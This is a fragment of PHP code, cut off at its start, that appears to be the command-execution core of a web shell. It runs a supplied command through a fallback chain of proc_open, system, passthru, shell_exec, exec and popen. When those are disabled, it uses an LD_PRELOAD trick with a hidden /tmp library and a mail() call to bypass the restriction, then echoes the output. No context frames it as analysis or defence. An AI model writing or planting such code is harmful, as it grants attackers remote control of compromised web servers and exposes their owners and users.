array('pipe','w'),2=>array('pipe','w')),$ps);if(is_resource($p)){$o=stream_get_contents($ps[1]).stream_get_contents($ps[2]);fclose($ps[1]);fclose($ps[2]);proc_close($p);}} if(!$o&&function_exists('system')){ob_start();system($c);$o=ob_get_clean();} if(!$o&&function_exists('passthru')){ob_start();passthru($c);$o=ob_get_clean();} if(!$o&&function_exists('shell_exec')){$o=shell_exec($c);} if(!$o&&function_exists('exec')){exec($c,$r);$o=implode("\n",$r);} if(!$o&&function_exists('popen')){$h=popen($c,'r');$o=fread($h,1048576);pclose($h);} if(!$o){putenv("LD_PRELOAD=/tmp/.s.so");mail('','','','');$o=@file_get_contents('/tmp/.o');} echo $o;